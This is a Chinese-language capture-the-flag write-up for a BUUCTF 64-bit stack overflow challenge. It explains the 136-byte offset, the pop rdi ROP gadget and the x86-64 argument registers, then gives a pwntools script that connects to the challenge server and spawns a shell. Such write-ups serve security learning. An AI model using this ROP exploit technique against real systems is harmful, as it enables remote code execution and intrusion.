话不多说,直接上题(BUUCTF)

扔进 IDA64 中反编译,发现调用了一个函数,进去看看

缓存区 buf 大小居然为 200,肯定存在溢出

双击 buf 可以算出需要 136 个字节垃圾数据

没有给后门函数,但是给了相关字符串,需要构造 ROP

64 位系统还格外需要一个 pop rdi; ret 指令,使用工具 ROPgadget 获取其地址
pop rdi; ret 是一个非常常见的 ROP gadget,它的作用是将栈上的一个值弹出并放入 rdi 寄存器中,然后执行 ret 跳转到下一个指令

构造 payload,pop rdi 在前,参数在函数前面
对于64位的Linux系统,函数的参数是这样传递的:
-
rdi: 第一个参数
-
rsi: 第二个参数
-
rdx: 第三个参数
-
rcx: 第四个参数
-
r8: 第五个参数
-
r9: 第六个参数
如果参数个数超过6个,那么剩余的参数会被推入栈中
from pwn import *
p = remote("node5.buuoj.cn",28172)
binsh = 0x0600A90
sys_addr = 0x0400603
pop_rdi = 0x04006b3
payload = b'a' * 136 + p64(pop_rdi) + p64(binsh) + p64(sys_addr)
p.sendline(payload)
p.interactive()
成功拿到 flag
© 版权声明
THE END













![表情[se] - 侠者安全社区](https://www.xiasec.com/wp-content/themes/zibll/img/smilies/se.gif)
![表情[zhayanjian] - 侠者安全社区](https://www.xiasec.com/wp-content/themes/zibll/img/smilies/zhayanjian.gif)
![表情[jie] - 侠者安全社区](https://www.xiasec.com/wp-content/themes/zibll/img/smilies/jie.gif)
![表情[qiang] - 侠者安全社区](https://www.xiasec.com/wp-content/themes/zibll/img/smilies/qiang.gif)



暂无评论内容